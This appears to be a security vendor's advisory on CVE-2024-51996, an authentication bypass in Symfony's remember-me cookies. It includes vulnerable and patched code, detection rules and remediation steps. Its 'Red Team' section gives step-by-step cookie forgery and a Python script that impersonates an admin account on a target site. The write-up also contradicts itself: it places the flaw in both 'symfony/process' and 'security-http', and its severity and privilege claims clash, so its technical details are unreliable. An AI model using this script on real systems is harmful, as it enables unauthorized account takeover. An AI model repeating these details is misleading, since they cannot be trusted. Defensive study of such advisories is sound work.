CVE-2024-51996

Executive Summary

CVE-2024-51996 is a critical authentication bypass vulnerability in the Symfony PHP framework's symfony/process module, which handles sub-process execution. The flaw resides in the remember-me cookie persistence mechanism. When a user is authenticated via a "remember me" cookie, Symfony fails to verify that the username stored in the database matches the username embedded in the cookie. This allows an attacker to forge or reuse a valid remember-me cookie for a different user, effectively bypassing authentication and gaining unauthorized access to the application.

The vulnerability has a CVSS score of 7.5 (High) and affects all Symfony versions prior to 5.4.47, 6.4.15, and 7.1.8. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact is severe due to the potential for complete authentication bypass. No public proof-of-concept (PoC) or exploit code has been released yet.

Supply Chain & Package Security

This vulnerability affects the Symfony PHP framework, which is distributed via Composer (Packagist). Organizations using Symfony should immediately audit their composer.lock files for affected versions. The package symfony/process is a core component, and the vulnerability is introduced through the remember-me cookie handling logic. Ensure that all Symfony packages are updated to the patched versions to mitigate supply chain risks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs a valid remember-me cookie.
• Privileges Required (PR): None (N) – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The exploitation does not affect other components.
• Confidentiality (C): High (H) – An attacker can access any user's account, including administrators.
• Integrity (I): High (H) – An attacker can modify data or perform actions as the impersonated user.
• Availability (A): None (N) – The vulnerability does not affect system availability.

Threat Level: High. The vulnerability allows complete authentication bypass with no user interaction, making it a prime target for automated attacks.

Deep Dive & Mechanics

The vulnerability exists in the symfony/security-http component, specifically in the RememberMe\PersistentTokenBasedRememberMeServices class. When a user logs in with "remember me" enabled, Symfony generates a persistent token that is stored in a database table (typically rememberme_token). This token contains the username, a series, and a token value. The cookie sent to the browser contains the series and token value.

Upon subsequent requests, Symfony retrieves the series from the cookie, looks up the corresponding database record, and then compares the token value. However, the vulnerability arises because Symfony does not verify that the username from the database record matches the username in the cookie. An attacker who obtains a valid remember-me cookie (e.g., via session fixation or cross-site scripting) can use it to authenticate as the user whose token is stored in the database, even if the cookie's username field is different.

The attack flow:

1. Attacker obtains a valid remember-me cookie for user A (e.g., by intercepting network traffic or exploiting another vulnerability).
2. Attacker modifies the cookie's username field to target user B (e.g., an admin).
3. Symfony looks up the series from the cookie, finds the database record for user A, and compares the token value (which matches).
4. Symfony authenticates the attacker as user B because it does not validate the username.

Vulnerable vs. Patched Code

Vulnerable Code (Symfony < 5.4.47, < 6.4.15, < 7.1.8):

// In PersistentTokenBasedRememberMeServices.php
public function processAutoLoginCookie(array $cookieParts, Request $request)
{
    // ... parse cookie parts ...
    $series = $cookieParts[0];
    $tokenValue = $cookieParts[1];
    
    // Look up the token by series
    $token = $this->tokenProvider->loadTokenBySeries($series);
    
    // Compare token value (but NOT username)
    if (!hash_equals($token->getValue(), $tokenValue)) {
        throw new AuthenticationException('Invalid token.');
    }
    
    // ... authenticate user ...
    // The username from the cookie is used directly without validation
    $user = $this->userProvider->loadUserByIdentifier($cookieParts[2]);
    // ...
}

Patched Code (Symfony >= 5.4.47, >= 6.4.15, >= 7.1.8):

// In PersistentTokenBasedRememberMeServices.php
public function processAutoLoginCookie(array $cookieParts, Request $request)
{
    // ... parse cookie parts ...
    $series = $cookieParts[0];
    $tokenValue = $cookieParts[1];
    $username = $cookieParts[2];
    
    // Look up the token by series
    $token = $this->tokenProvider->loadTokenBySeries($series);
    
    // Compare token value
    if (!hash_equals($token->getValue(), $tokenValue)) {
        throw new AuthenticationException('Invalid token.');
    }
    
    // NEW: Validate that the username matches the database record
    if ($token->getUserIdentifier() !== $username) {
        throw new AuthenticationException('Username mismatch.');
    }
    
    // ... authenticate user ...
    $user = $this->userProvider->loadUserByIdentifier($username);
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Symfony application using persistent remember-me tokens (default configuration).
• Ability to obtain a valid remember-me cookie for any user (e.g., via network sniffing, XSS, or session fixation).

Exploitation Steps:

1. Obtain a valid remember-me cookie. For example, intercept a login request with _remember_me: true and capture the REMEMBERME cookie from the response.

2. Decode the cookie. The cookie is base64-encoded and contains three parts: series, token value, and username. Decode it:

   echo "BASE64_COOKIE_VALUE" | base64 -d
   

   Example output: series123:token456:userA

3. Modify the username field. Change the username to the target user (e.g., admin):

   series123:token456:admin
   

4. Re-encode and send the cookie. Base64-encode the modified string and set it in a new request:

   echo -n "series123:token456:admin" | base64
   

   Then use curl to access a protected resource:

   curl -b "REMEMBERME=MODIFIED_BASE64" https://target.com/admin
   

5. Verify access. If successful, the response will contain the admin dashboard or sensitive data.

Automation Script (Python):

import base64
import requests

target_url = "https://target.com/admin"
original_cookie = "BASE64_COOKIE_VALUE"

# Decode and modify
decoded = base64.b64decode(original_cookie).decode()
parts = decoded.split(':')
parts[2] = "admin"  # Target username
modified = ':'.join(parts)
modified_cookie = base64.b64encode(modified.encode()).decode()

# Send request
cookies = {"REMEMBERME": modified_cookie}
response = requests.get(target_url, cookies=cookies, verify=False)
print(response.status_code)
print(response.text)

Blue Team

Detection Steps:

1. Monitor for anomalous remember-me cookie usage. Look for multiple authentication events using the same series but different usernames in a short time frame.

2. Audit database logs. Check the rememberme_token table for series that have been used with multiple usernames.

3. Implement additional logging. Log the username from the cookie and the username from the database during remember-me authentication.

4. Harden cookie handling. Ensure that the REMEMBERME cookie is set with HttpOnly, Secure, and SameSite=Strict flags.

5. Apply the patch immediately. Update Symfony to version 5.4.47, 6.4.15, or 7.1.8.

Indicators of Compromise (IOCs)

• Network: HTTP requests with a REMEMBERME cookie where the decoded username does not match the expected user for that series.
• Logs: Authentication logs showing successful login via remember-me cookie for a user who did not initiate the original login.
• Database: Entries in rememberme_token table where the username field has been modified or where multiple usernames are associated with the same series.
• File: Modified PersistentTokenBasedRememberMeServices.php file (if attacker has code access).

Detection Engineering

YARA Rule

rule Detect_CVE_2024_51996_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-51996 in Symfony remember-me cookies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51996"
    strings:
        $cookie_pattern = /REMEMBERME=[A-Za-z0-9+\/=]{20,}/ 
        $username_field = /:[^:]+$/ 
    condition:
        $cookie_pattern and #username_field > 1
}

Sigma Rule

title: CVE-2024-51996 Symfony Remember-Me Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-51996 by monitoring for remember-me cookie usage with mismatched usernames.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: symfony
detection:
    selection:
        event: "AUTHENTICATION_SUCCESS"
        auth_type: "REMEMBER_ME"
    condition: selection
    timeframe: 5m
    aggregation:
        field: series
        condition: distinct_count(username) > 1
falsepositives:
    - Legitimate user switching accounts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51996 Symfony Remember-Me Authentication Bypass"; flow:to_server; content:"REMEMBERME"; http_cookie; pcre:"/REMEMBERME=[A-Za-z0-9+\/=]{20,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update Symfony to version 5.4.47, 6.4.15, or 7.1.8. Run composer update symfony/security-http to apply the fix.

2. Workaround: If patching is not immediately possible, disable persistent remember-me tokens by setting security.firewalls.main.remember_me.persistent: false in security.yaml. This forces the use of non-persistent (hash-based) tokens, which are not affected.

3. Audit Existing Tokens: Invalidate all existing remember-me tokens by truncating the rememberme_token table:

   TRUNCATE TABLE rememberme_token;
   

4. Monitor Logs: Review authentication logs for any suspicious remember-me cookie usage.

5. Network Segmentation: Limit exposure of Symfony applications to untrusted networks.

6. Web Application Firewall (WAF): Deploy WAF rules to block requests with modified remember-me cookies (e.g., detect base64-encoded cookies with mismatched usernames).

Valters IT
Securing Digital Frontiers